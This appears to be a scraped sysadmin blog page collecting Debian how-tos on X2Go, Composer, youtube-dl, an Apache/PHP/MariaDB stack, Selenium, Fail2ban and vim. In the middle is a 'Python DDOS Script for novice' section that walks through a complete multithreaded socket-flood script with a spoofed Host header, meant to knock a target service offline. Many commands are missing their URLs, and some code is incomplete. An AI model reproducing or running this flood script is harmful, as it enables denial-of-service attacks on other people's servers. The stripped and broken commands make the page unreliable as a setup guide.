Install X2Go as Remote Dekstop on Debian 10

Requirements to install X2Go is VPS with high memory min 6GB
Install and configure the Full Desktop Environment. This is similar to what you would get if you installed Debian from a bootable DVD/USB memory stick to your local PC:

#apt-get update && apt-get upgrade -y

Step 1: Installing the Desktop Environment

#apt-get install task-xfce-desktop -y

Install xfce4 and all of the additional dependencies needed to support it:

#apt-get install xfce4

Step 2: Install X2Go on your server, type the following command:

#apt-get install x2goserver x2goserver-xsession

Step 3: Installing the X2Go Client Locally
On Linux

#apt-get install x2goclient

On Windows download X2Go Client at

Step 4: Connecting To the Remote Desktop
In the top-left menu select New session
Enter your server’s IP address or hostname in the Host field under Server.
Enter the username you used for your SSH connection in the Login field.
And, since you installed XFCE in Step Two, choose XFCE as your Session


Install Composer and phpmailer

To quickly install Composer in the current directory, run the following script in your terminal. To automate the installation, use the guide on installing Composer programmatically.

#cd /var/www/html
#php -r "copy('', 'composer-setup.php');"
#php -r "if (hash_file('sha384', 'composer-setup.php') === '55ce33d7678c5a611085589f1f3ddf8b3c52d662cd01d4ba75c0ee0459970c2200a51f492d557530c71c15d8dba01eae') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
#php composer-setup.php
#php -r "unlink('composer-setup.php');"

Most likely, you want to put the composer.phar into a directory on your PATH, so you can simply call composer from any directory (Global install)

#sudo mv composer.phar /usr/local/bin/composer


#composer require phpmailer/phpmailer

Youtube-dl Debian download Youtube videos to MP4 MP3

apt-get update -y && apt-get upgrade -y

apt-get install curl -y

curl -L -o /usr/local/bin/youtube-dl

If you do not have curl, you can alternatively use a recent wget:

sudo wget -O /usr/local/bin/youtube-dl

sudo chmod a+rx /usr/local/bin/youtube-dl

UPDATE Youtube-dl

youtube-dl -U

apt-get install software-properties-common -y

apt-get install ffmpeg -y

Create Symbolic Links python3 to python to recognize youtube-dl

ln -s /usr/bin/python3 /usr/local/bin/python


youtube-dl –extract-audio –audio-format mp3 –format ‘bestaudio’ URL


youtube-dl URL


youtube-dl -f ‘bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best’ URL

Source :

Apache2 PHP MariaDB Debian 10

Change Hostname, Update, Upgrade, Install Zip Unzip and VIM

#apt-get update -y
#apt-get upgrade -y
#apt-get install zip -y
#apt-get install unzip -y
#apt-get install vim -y

Increase SSH Connection Timeout in Linux

#vim /etc/ssh/sshd_config
ClientAliveInterval 60
ClientAliveCountMax 3

Enable vim cut paste

Install Iptables


Setup Fail2ban

Install Apache2

#apt install apache2


Enable and load mod_rewrite Apache2

nano /etc/apache2/apache2.conf and replace “AllowOverride None” to “AllowOverride All”

#a2enmod rewrite
#a2enmod headers
#a2enmod expires

Install MariaDB

#apt install mariadb-server -y

Instal PHP

#apt install php libapache2-mod-php php-mysql -y

Check PHP Version to install Addons

#php -v
PHP 7.3.31-1~deb10u1 (cli) (built: Oct 24 2021 15:18:08) ( NTS )

Install PHP Module Addons

#apt-get install php7.3-gd -y && apt-get install php-pear php7.3 -y

Install Postfix for email

#apt-get purge --auto-remove exim4
#apt-get install postfix libsasl2-modules ca-certificates mailutils -y

Install SSL Certificate


SSL test on Qualys SSL Labs Rating A Configuration

Activate HTTP/2 protocol on default-ssl.conf

Insert Protocols h2 h2c http/1.1 after on /etc/apache2/sites-available/default-ssl.conf

#nano /etc/apache2/sites-available/default-ssl.conf

Then follow the command below

#a2enmod ssl
#a2enmod http2
#a2ensite default-ssl
#systemctl restart apache2
#service restart apache2

Selenium Python Install Chrome Debian Desktop

Selenium Python Install Chrome on Debian Desktop

#wget -q -O – | sudo apt-key add –
#echo “deb [arch=amd64] stable main” | sudo tee /etc/apt/sources.list.d/google.list
#sudo apt-get -y update
#sudo apt-get -y install google-chrome-stable
#google-chrome –version
Google Chrome 94.0.4606.81

Test the chrome browser by open it on Debian Desktop

Next step Install ChromeDriver, it must be same version with above google-chrome –version (94.0.4606.81)
Visit or
Download the same version with above google-chrome –version (94.0.4606.81)

#rm ~/
#rm -rf /usr/local/bin/chromedriver
#mv -f ~/chromedriver /usr/local/bin/chromedriver
#chown root:root /usr/local/bin/chromedriver
#chmod 0755 /usr/local/bin/chromedriver

Python DDOS Script for novice

DDOS stands for Distributed Denial of Service and it is an attack where we block the resources of a server by flooding it with requests with the help of so-called botnets.

The implementation only need to send requests to a host on a specific port over and over again. This can be done with sockets. To speed the process up and make it more effective, we will use multi-threading as well. So, the following libraries will be needed for this tutorial:

import socket
import threading

Now the first thing we need are the target’s IP-address, the port we want to attack and our fake IP-address that we want to use. Note that the fake ip doesn’t make you anonymous.

target = ''
fake_ip = ''
port = 80

Example to attack the port 80, which is HTTP. If you want to shut down a specific service, you need to know which port it is operating at. The next thing we need to do is to implement the actual attacking function.

def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))

This attack function will be running in each of our individual threads. It starts an endless loop, within which it creates a socket, connects to the target and sends an HTTP request over and over again.

We are injecting our fake IP-address into the request encoded into bytes to the server. At the end of every iteration, we close our socket.

We need to do is to run multiple threads that execute this function at the same time. If we would just run the function, it would send a lot of requests over and over again but it would always be only one after the other. By using multi-threading, we can send many requests at once.

for i in range(500):
thread = threading.Thread(target=attack)

In this case, we are starting 500 threads that will execute our function, we can play around maybe 30 or 50 are already sufficient. If you want to see some information, you may print the amounts of requests already sent. Just notice that this will slow down your attack.

attack_num = 0

def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))

global attack_num
attack_num += 1


We created a variable attack_num that tracks how many requests have been sent already. With every iteration, we increase this number and print it.

Full script below:

import socket
import threading

target = ''
fake_ip = ''
port = 80

attack_num = 0
def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
        global attack_num
        attack_num += 1

for i in range(500):
    thread = threading.Thread(target=attack)

This article taken from

Remove linux files with special characters name

Remove linux files with special characters name

You may come across file names with special characters such as:

  • ;
  • &
  • $
  • ?
  • *
  • White spaces, backslashes and more.

Sample File List

Here is a sample list of file names:


The Problem And Solution

Your default bash shell considers many of these special characters (also known as meta-characters) as commands. If you try to delete or move/copy such files you may end up with errors. In this example, I am trying to delete a file named ‘>file’:

$ rm >file

Sample outputs:

rm: missing operand
Try `rm --help' for more information.

The rm command failed to delete the file due to strange character in filename.

Tip #1: Put filenames in quotes

The following command is required to copy or delete files with spaces in their name, for example:

$ cp "my resume.doc" /secure/location/
$ rm "my resume.doc"

The quotes also prevent the many special characters interpreted by your shell, for example:

$ rm -v ">file"
removed `>file'

The double quotes preserve the value of all characters enclosed, except for the dollar sign, the backticks and the backslash. You can also try single quotes as follows:

$ rm -v 'a long file   name  here'
$ cp 'my mp3 file.mp3' /backup/disk/

Tip #2: Try a backslash

You can always insert a backslash () before the special character in your filename:

$ cp "my resume.doc" /secure/location/
$ rm "*file"

Tip #3: Try a ./ at the beginning of the filename

The syntax is as follows to delete a file called ‘-file’:

$ rm -v ./-file
removed `./-file'

The ./ at the beginning of the filename forces rm not to interpret – as option to the rm command.

Tip #4: Try a — at the beginning of the filename

A — signals the end of options and disables further option processing by shell. Any arguments after the — are treated as filenames and arguments. An argument of – is equivalent to –. The syntax is:

$ rm -v -- -file
$ rm -v -- --file
$ rm -v -- "@#$%^&file"
$ rmdir -v -- "--dirnameHere"

Tip #5: Remove file by an inode number

The -i option to ls displays the index number (inode) of each file:

ls -li

Use find command as follows to delete the file if the file has inode number 4063242:

$ find . -inum 4063242 -delete


$ find . -inum 4063242 -exec rm -i {} ;

Sample session:


For more information and options about the find, rm, and bash command featured in this tip, type the following command at the Linux prompt, to read man pages:

$ man find
$ man rm
$ man bash


Enable vim cut paste Debian 9


Enable vim cut paste Debian 9 with preferable global solution for all users, which loads the default options and then adds or overwrites the defaults with the personal settings.

Luckily there is an option for that in Debian: The /etc/vim/vimrc.local will be loaded after the /etc/vim/vimrc. So you can create this file and load defaults, preventing them from being loaded again (at the end) and then add your personal options:

Please create the following file: /etc/vim/vimrc.local and paste the code

#nano /etc/vim/vimrc.local
" This file loads the default vim options at the beginning and prevents
" that they are being loaded again later. All other options that will be set,
" are added, or overwrite the default settings. Add as many options as you
" whish at the end of this file.

" Load the defaults
source $VIMRUNTIME/defaults.vim

" Prevent the defaults from being loaded again later, if the user doesn't
" have a local vimrc (~/.vimrc)
let skip_defaults_vim = 1
" Set more options (overwrites settings from /usr/share/vim/vim80/defaults.vim)
" Add as many options as you whish

" Set the mouse mode to 'r'
if has('mouse')
set mouse=r

" Toggle paste/nopaste automatically when copy/paste with right click in insert mode:
let &t_SI .= "\<Esc>[?2004h"
let &t_EI .= "\<Esc>[?2004l"

inoremap <special> <expr> <Esc>[200~ XTermPasteBegin()

function! XTermPasteBegin()
set pastetoggle=<Esc>[201~
set paste
return ""


Setup Fail2ban on Debian 9

Update the system

#apt update && apt upgrade -y

Modify SSH port (Optional), Change port number 22, for example to 3000

#sed -i "s/#Port 22/Port 3000/g" /etc/ssh/sshd_config
#systemctl restart sshd.service

Debian 8: open the /etc/ssh/sshd_config, change port 22 to 3000

#vim /etc/ssh/sshd_config

Update IPTables rules, change SSH port on /etc/iptables.up.rules config

After the modification, you need to update IPTables rules accordingly:

#iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#iptables -A INPUT -p tcp --dport 22 -j DROP
#iptables -A INPUT -p tcp --dport 3000 -j ACCEPT

Save the updated IPTables rules to a file for persistence purposes:

#iptables-save > /etc/iptables.up.rules
#touch /etc/network/if-pre-up.d/iptables
#chmod +x /etc/network/if-pre-up.d/iptables
#echo '#!/bin/sh' >> /etc/network/if-pre-up.d/iptables
#echo '/sbin/iptables-restore < /etc/iptables.up.rules' >> /etc/network/if-pre-up.d/iptables

Install and configure fail2ban to protect SSH

#apt install fail2ban -y
#systemctl status fail2ban

Let’s see how did fail2ban alter iptables rules:

$iptables -L -n -v

There is a new chain f2b-sshd in iptables config that is referenced in the INPUT chain rule:

Chain INPUT (policy ACCEPT 777 packets, 80681 bytes)
pkts bytes target prot opt in out source destination
1250 93157 f2b-sshd tcp -- * * multiport dports 3000
(... omitted for brevity ...)
Chain f2b-sshd (1 references)
pkts bytes target prot opt in out source destination
1223 90505 RETURN all -- * *

fail2ban package contains a tool called fail2ban-client. It allows you to check the status of the service and interact with it (e.g., it lets you manually ban and unban IP addresses, enable and disable jails, etc.)

See which jails are active:

#fail2ban-client status
|- Number of jail: 1
`- Jail list: sshd

Check the statistics for sshd jail:

#fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 5
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: IP address is banned from accessing SSH server. fail2ban does this by adding an entry in f2b-sshd iptables chain:

Chain f2b-sshd (1 references)
pkts bytes target     prot opt in     out     source               destination
12   696 REJECT     all  --  *      *            reject-with icmp-port-unreachable
1279 97855 RETURN     all  --  *      *  

Configuring fail2ban

The default Fail2ban filter settings will be stored in /etc/fail2ban/jail.conf file and the /etc/fail2ban/jail.d/defaults-debian.conf file

Keep in mind that you should not make any changes to that file as it might be overwritten during fail2ban upgrade.

In case you need to adjust the configuration, create /etc/fail2ban/jail.local config file with the desired changes. Please not to add same values, but only the values you want to customize.

If you want to change the default ban duration (bantime) and the number of failed attempts (maxretry), add the new config for example /etc/fail2ban/jail.local

#vim /etc/fail2ban/jail.local

Insert code below

#Set ban time to 1 hours
bantime = 3600
#Decrease the number of failed login attempts before banning to 3

Restart the service:

#systemctl restart fail2ban

Source :

Vim Command

Insert, Search, Edit

You can enter insert mode from normal mode by pressing the key

i     text you type will be inserted

You can enter visual mode from normal mode by pressing the key

v     starts a visual selection

There are several more ways to enter insert mode, depending on where you want to insert the text:

i     insert at current location
a     insert after current location (append)
I     insert AT START of current line
A     insert AFTER END of current line
o     insert line below current line (open)
O     insert line ABOVE current line
s     delete character under cursor and start inserting in its place (substitute text)
S     delete all text on line and start inserting in its place (substitute line)
cw     delete to the end of current word and start inserting in its place (any movement command can be substituted for w)
cc     same as S (change line)
C     delete from the cursor to the end of line and start inserting at the cursor position

For example, starting in normal mode, if you press A then type “hello” and press Esc, you will append “hello” to the end of the current line
If you move to another line and press . you will append “hello” to that line as well (. repeats the last operation).
If you had used I (instead of A), the “hello” would have been inserted at the start of the line, and pressing . would repeat that operation.

Saving and quitting

Press Esc to enter normal mode, save the current file by entering :w (which always writes the file even if it has not changed), or :update (which only writes the file if it has changed).

Save the editing an existing file with another file name with :w filename or :saveas filename, for example, :w myfile.txt.

Quit Vim Press Esc then :q. Or the saving and quitting can be combined into one operation with :wq or :x.

Discard any changes, Press Esc then enter :q!

:wa	write all changed files (save all changes)
:xa	exit all (save all changes and close Vim)
:qa	quit all (close Vim, but not if there are unsaved changes)
:qa!	quit all (close Vim without saving—discard any changes)